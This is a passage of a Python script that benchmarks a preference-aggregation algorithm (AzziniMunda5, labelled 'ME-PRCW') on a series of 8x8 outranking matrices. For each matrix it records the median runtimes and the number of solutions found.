[1028,990,982,1013,0,1055,1033,1002], [982,1026,1011,984,946,0,993,1011], [958,1013,963,987,968,1008,0,981], [1011,991,972,966,999,990,1020,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 156, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,961,961,982,975,1004,1007,977], [1040,0,1002,1028,985,1031,1033,1026], [1040,999,0,995,1018,1002,1017,1006], [1019,973,1006,0,1042,1003,1050,1027], [1026,1016,983,959,0,1015,986,993], [997,970,999,998,986,0,995,973], [994,968,984,951,1015,1006,0,984], [1024,975,995,974,1008,1028,1017,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 157, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1009,995,993,995,967,958,1012], [992,0,1010,982,1032,978,975,993], [1006,991,0,977,990,994,963,1018], [1008,1019,1024,0,1011,975,973,1015], [1006,969,1011,990,0,960,949,968], [1034,1023,1007,1026,1041,0,945,1022], [1043,1026,1038,1028,1052,1056,0,995], [989,1008,983,986,1033,979,1006,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 158, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,933,1049,924,962,966,974,1028], [1068,0,1053,1055,1062,994,1062,1038], [952,948,0,1013,861,924,937,958], [1077,946,988,0,936,910,1015,1038], [1039,939,1140,1065,0,1030,1012,1107], [1035,1007,1077,1091,971,0,945,1046], [1027,939,1064,986,989,1056,0,1021], [973,963,1043,963,894,955,980,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 159, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,968,1033,1006,1071,1049,1064,1035], [1033,0,1006,974,1061,1009,1048,1037], [968,995,0,995,1002,1038,1015,1002], [995,1027,1006,0,1019,1028,994,992], [930,940,999,982,0,990,982,983], [952,992,963,973,1011,0,997,997], [937,953,986,1007,1019,1004,0,983], [966,964,999,1009,1018,1004,1018,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 160, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1173,1322,899,883,1100,1084,1079], [828,0,1001,990,898,941,887,1249], [679,1000,0,896,897,959,765,938], [1102,1011,1105,0,1002,875,1109,1071], [1118,1103,1104,999,0,993,1072,1199], [901,1060,1042,1126,1008,0,988,1007], [917,1114,1236,892,929,1013,0,1198], [922,752,1063,930,802,994,803,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 161, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1022,989,1052,990,1038,964,1005], [979,0,945,1011,966,967,977,970], [1012,1056,0,1087,1011,1045,1010,998], [949,990,914,0,956,984,951,958], [1011,1035,990,1045,0,1024,1022,989], [963,1034,956,1017,977,0,972,986], [1037,1024,991,1050,979,1029,0,1007], [996,1031,1003,1043,1012,1015,994,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 162, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1126,1126,1056,1063,926,1127,1044], [875,0,962,901,973,920,1198,1001], [875,1039,0,1028,994,866,1167,892], [945,1100,973,0,974,859,1045,967], [938,1028,1007,1027,0,1066,962,1033], [1075,1081,1135,1142,935,0,1151,1036], [874,803,834,956,1039,850,0,971], [957,1000,1109,1034,968,965,1030,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 163, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1018,1005,981,1040,1023,1003,1044], [983,0,1024,1020,1042,971,896,1067], [996,977,0,1007,1066,981,894,1019], [1020,981,994,0,987,1012,926,941], [961,959,935,1014,0,964,954,1082], [978,1030,1020,989,1037,0,964,1059], [998,1105,1107,1075,1047,1037,0,1103], [957,934,982,1060,919,942,898,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 164, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1016,986,996,1005,1071,1046,1020], [985,0,959,999,999,1051,1081,1012], [1015,1042,0,1045,991,1016,1032,993], [1005,1002,956,0,998,1002,1007,1005], [996,1002,1010,1003,0,1041,1050,959], [930,950,985,999,960,0,985,984], [955,920,969,994,951,1016,0,949], [981,989,1008,996,1042,1017,1052,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 165, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1052,959,961,1008,1003,892,1006], [949,0,1069,947,1016,931,893,879], [1042,932,0,883,1011,899,911,892], [1040,1054,1118,0,1085,1080,1000,1083], [993,985,990,916,0,1012,974,978], [998,1070,1102,921,989,0,997,937], [1109,1108,1090,1001,1027,1004,0,997], [995,1122,1109,918,1023,1064,1004,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 166, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1006,997,927,966,891,987,975], [995,0,984,907,960,977,954,974], [1004,1017,0,939,985,955,993,1051], [1074,1094,1062,0,1048,1002,999,1036], [1035,1041,1016,953,0,965,1006,1046], [1110,1024,1046,999,1036,0,1030,1027], [1014,1047,1008,1002,995,971,0,1020], [1026,1027,950,965,955,974,981,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 167, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,975,996,1002,1026,1014,996,1000], [1026,0,1015,1007,994,1017,999,986], [1005,986,0,936,985,1006,954,970], [999,994,1065,0,1017,1009,984,1025], [975,1007,1016,984,0,997,1017,973], [987,984,995,992,1004,0,1009,986], [1005,1002,1047,1017,984,992,0,1015], [1001,1015,1031,976,1028,1015,986,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 168, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,829,933,1124,1014,1135,944,1063], [1172,0,1037,1285,1040,1280,1102,985], [1068,964,0,1193,969,1190,1043,1036], [877,716,808,0,771,1011,938,875], [987,961,1032,1230,0,1164,1065,1109], [866,721,811,990,837,0,769,928], [1057,899,958,1063,936,1232,0,955], [938,1016,965,1126,892,1073,1046,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 169, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1001,1011,1005,993,1017,1023,998], [1000,0,997,997,985,1020,987,981], [990,1004,0,991,1023,1030,987,1056], [996,1004,1010,0,973,1001,1001,1041], [1008,1016,978,1028,0,1009,979,1019], [984,981,971,1000,992,0,966,981], [978,1014,1014,1000,1022,1035,0,1054], [1003,1020,945,960,982,1020,947,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 170, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1005,966,969,990,1012,990,1022], [996,0,983,1013,1021,979,1003,1012], [1035,1018,0,1009,1012,991,1011,1019], [1032,988,992,0,1021,991,1018,1020], [1011,980,989,980,0,974,990,1020], [989,1022,1010,1010,1027,0,1003,1040], [1011,998,990,983,1011,998,0,1024], [979,989,982,981,981,961,977,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 171, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1015,1044,950,1014,985,1076,1088], [986,0,1036,971,1057,1014,994,917], [957,965,0,998,1115,1024,1109,1057], [1051,1030,1003,0,1038,942,1074,1009], [987,944,886,963,0,986,1045,1040], [1016,987,977,1059,1015,0,1046,1037], [925,1007,892,927,956,955,0,811], [913,1084,944,992,961,964,1190,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 172, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1023,1043,1001,986,1043,1010,1062], [978,0,971,981,1000,1010,978,1043], [958,1030,0,971,966,990,988,1007], [1000,1020,1030,0,1015,991,1009,1054], [1015,1001,1035,986,0,1002,986,1048], [958,991,1011,1010,999,0,992,1027], [991,1023,1013,992,1015,1009,0,1022], [939,958,994,947,953,974,979,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 173, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,988,1037,993,1020,966,983,1021], [1013,0,1018,1012,1064,972,1053,1044], [964,983,0,957,1026,979,1001,983], [1008,989,1044,0,1048,1006,1032,1018], [981,937,975,953,0,944,978,970], [1035,1029,1022,995,1057,0,1025,1007], [1018,948,1000,969,1023,976,0,998], [980,957,1018,983,1031,994,1003,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 174, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,975,1014,962,1001,1011,1020,974], [1026,0,982,993,1027,1000,1025,1010], [987,1019,0,973,1036,1003,989,1017], [1039,1008,1028,0,1030,987,1020,1027], [1000,974,965,971,0,987,974,1004], [990,1001,998,1014,1014,0,1023,1037], [981,976,1012,981,1027,978,0,1001], [1027,991,984,974,997,964,1000,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 175, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1014,998,1005,1030,997,1019,990], [987,0,1030,996,1000,1018,1013,992], [1003,971,0,979,996,963,979,998], [996,1005,1022,0,1042,1017,1020,1020], [971,1001,1005,959,0,960,1005,972], [1004,983,1038,984,1041,0,1019,1014], [982,988,1022,981,996,982,0,1008], [1011,1009,1003,981,1029,987,993,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 176, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,974,944,967,955,979,1022,1030], [1027,0,979,985,984,1017,1036,1042], [1057,1022,0,1052,940,986,1019,1065], [1034,1016,949,0,1072,1048,1041,1032], [1046,1017,1061,929,0,1033,1040,1083], [1022,984,1015,953,968,0,993,1004], [979,965,982,960,961,1008,0,1011], [971,959,936,969,918,997,990,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 177, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,996,1011,969,1008,955,1000,981], [1005,0,969,952,990,960,976,970], [990,1032,0,994,993,1008,1003,1013], [1032,1049,1007,0,1049,997,1019,1027], [993,1011,1008,952,0,952,978,994], [1046,1041,993,1004,1049,0,1034,1001], [1001,1025,998,982,1023,967,0,991], [1020,1031,988,974,1007,1000,1010,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 178, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1017,951,998,928,990,935,989], [984,0,949,996,1019,1019,955,949], [1050,1052,0,1039,1004,994,1043,984], [1003,1005,962,0,979,993,985,968], [1073,982,997,1022,0,980,967,989], [1011,982,1007,1008,1021,0,981,1006], [1066,1046,958,1016,1034,1020,0,1007], [1012,1052,1017,1033,1012,995,994,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 179, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,968,970,957,951,969,923,966], [1033,0,997,993,988,1022,989,1018], [1031,1004,0,1020,1021,1009,991,1022], [1044,1008,981,0,986,1004,985,991], [1050,1013,980,1015,0,1002,982,1039], [1032,979,992,997,999,0,1007,984], [1078,1012,1010,1016,1019,994,0,997], [1035,983,979,1010,962,1017,1004,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 180, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1049,1147,1104,1197,1116,1162,989], [952,0,1045,1032,1024,974,1023,987], [854,956,0,957,953,860,987,850], [897,969,1044,0,975,913,1019,846], [804,977,1048,1026,0,952,1071,888], [885,1027,1141,1088,1049,0,1011,1007], [839,978,1014,982,930,990,0,931], [1012,1014,1151,1155,1113,994,1070,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 181, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1023,1014,1003,955,982,988,997], [978,0,1007,948,983,977,938,987], [987,994,0,964,979,984,968,993], [998,1053,1037,0,1009,973,1011,1001], [1046,1018,1022,992,0,1024,968,1007], [1019,1024,1017,1028,977,0,975,983], [1013,1063,1033,990,1033,1026,0,994], [1004,1014,1008,1000,994,1018,1007,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 182, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1006,990,979,1041,1043,1026,1022], [995,0,1027,1006,1051,1009,995,1041], [1011,974,0,1000,1018,1026,999,1019], [1022,995,1001,0,1033,1046,991,1057], [960,950,983,968,0,983,961,1017], [958,992,975,955,1018,0,950,985], [975,1006,1002,1010,1040,1051,0,1037], [979,960,982,944,984,1016,964,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 183, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1039,981,1004,1011,1011,1050,995], [962,0,967,977,980,979,1006,932], [1020,1034,0,1006,999,1012,1043,1005], [997,1024,995,0,960,985,993,959], [990,1021,1002,1041,0,1004,1018,959], [990,1022,989,1016,997,0,1020,965], [951,995,958,1008,983,981,0,945], [1006,1069,996,1042,1042,1036,1056,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 184, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,993,1003,1021,982,999,1047,1003], [1008,0,1017,975,990,1033,1015,976], [998,984,0,999,988,1012,1031,1003], [980,1026,1002,0,981,1024,1020,976], [1019,1011,1013,1020,0,1031,1013,982], [1002,968,989,977,970,0,1036,989], [954,986,970,981,988,965,0,962], [998,1025,998,1025,1019,1012,1039,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 185, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1230,894,1065,933,920,747,813], [771,0,1034,887,1037,1077,799,988], [1107,967,0,1041,1289,1382,1170,1070], [936,1114,960,0,1110,1347,1310,1079], [1068,964,712,891,0,1225,1197,1068], [1081,924,619,654,776,0,1027,624], [1254,1202,831,691,804,974,0,873], [1188,1013,931,922,933,1377,1128,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 186, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1059,1014,983,961,853,1031,1053], [942,0,950,853,872,1013,1022,991], [987,1051,0,1000,859,971,1092,931], [1018,1148,1001,0,1020,986,1060,957], [1040,1129,1142,981,0,1056,1085,1021], [1148,988,1030,1015,945,0,1067,1012], [970,979,909,941,916,934,0,899], [948,1010,1070,1044,980,989,1102,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 187, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,940,942,944,1007,976,961,984], [1061,0,1033,999,1045,1024,1021,1016], [1059,968,0,1032,1051,1032,995,1015], [1057,1002,969,0,1038,1005,1028,995], [994,956,950,963,0,964,963,972], [1025,977,969,996,1037,0,992,978], [1040,980,1006,973,1038,1009,0,994], [1017,985,986,1006,1029,1023,1007,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 188, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1013,1090,990,1078,1085,1006,1043], [988,0,1106,1008,1009,1051,995,1061], [911,895,0,959,890,976,951,931], [1011,993,1042,0,1031,1019,1074,1010], [923,992,1111,970,0,999,987,1025], [916,950,1025,982,1002,0,1037,989], [995,1006,1050,927,1014,964,0,1040], [958,940,1070,991,976,1012,961,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 189, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1090,1030,943,951,921,1040,1074], [911,0,968,953,929,918,1032,971], [971,1033,0,897,1001,979,981,947], [1058,1048,1104,0,988,1028,1032,1023], [1050,1072,1000,1013,0,1001,1029,1060], [1080,1083,1022,973,1000,0,1108,1059], [961,969,1020,969,972,893,0,969], [927,1030,1054,978,941,942,1032,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 190, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,928,994,953,947,978,996,945], [1073,0,1051,989,1027,980,1004,1010], [1007,950,0,918,954,978,992,985], [1048,1012,1083,0,997,1050,994,1039], [1054,974,1047,1004,0,1021,1010,1041], [1023,1021,1023,951,980,0,1042,1030], [1005,997,1009,1007,991,959,0,976], [1056,991,1016,962,960,971,1025,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 191, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,993,910,997,989,957,966,985], [1008,0,1046,1000,1052,1060,1055,1074], [1091,955,0,1002,1050,1030,997,996], [1004,1001,999,0,1005,968,996,997], [1012,949,951,996,0,963,998,969], [1044,941,971,1033,1038,0,1031,1049], [1035,946,1004,1005,1003,970,0,1015], [1016,927,1005,1004,1032,952,986,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 192, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,971,1024,969,992,1019,983,964], [1030,0,1016,986,999,1016,1005,992], [977,985,0,952,990,1011,956,1001], [1032,1015,1049,0,1031,1044,986,1014], [1009,1002,1011,970,0,1027,1012,949], [982,985,990,957,974,0,979,963], [1018,996,1045,1015,989,1022,0,1013], [1037,1009,1000,987,1052,1038,988,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 193, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1004,960,968,1021,1022,973,1028], [997,0,966,973,1034,1028,1018,1032], [1041,1035,0,985,1021,1025,1022,1041], [1033,1028,1016,0,1024,999,1001,1019], [980,967,980,977,0,953,935,973], [979,973,976,1002,1048,0,967,1022], [1028,983,979,1000,1066,1034,0,1018], [973,969,960,982,1028,979,983,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 194, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1077,967,1052,1045,1067,1021,1033], [924,0,942,961,1001,956,953,976], [1034,1059,0,991,1075,981,1009,1020], [949,1040,1010,0,1000,970,1010,1009], [956,1000,926,1001,0,976,941,1000], [934,1045,1020,1031,1025,0,1073,974], [980,1048,992,991,1060,928,0,1042], [968,1025,981,992,1001,1027,959,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 195, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = 